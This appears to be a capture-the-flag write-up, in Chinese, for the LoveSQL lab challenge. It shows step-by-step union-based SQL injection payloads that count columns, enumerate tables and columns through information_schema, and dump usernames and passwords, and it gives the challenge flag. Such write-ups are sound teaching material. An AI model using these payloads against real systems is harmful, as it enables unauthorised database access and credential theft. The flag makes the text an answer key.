>lhzctf

[极客大挑战 2019]LoveSQL

1.打开靶机

回显登录界面:

alt text

2.万能账号绕过

尝试万能账号绕过:

alt text

回显:

alt text

可见此题目的并非登录。

3.sql注入

刚刚证明了注入存在,我们先查列数:

a' order by 3# //正常
a' order by 4# //报错

如图:

alt text

所以共有三列。接下来查表:

a' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

回显:

alt text

接下来查列:

a' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'#
a' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#

均回显:

alt text

最后查元素:

a' union select 1,2,group_concat(id,username,password) from geekuser#
a' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#

分别回显:

alt text

alt text

得到flag:

CTF2{713407a8-6e94-446d-96d7-5b76b57bcb40}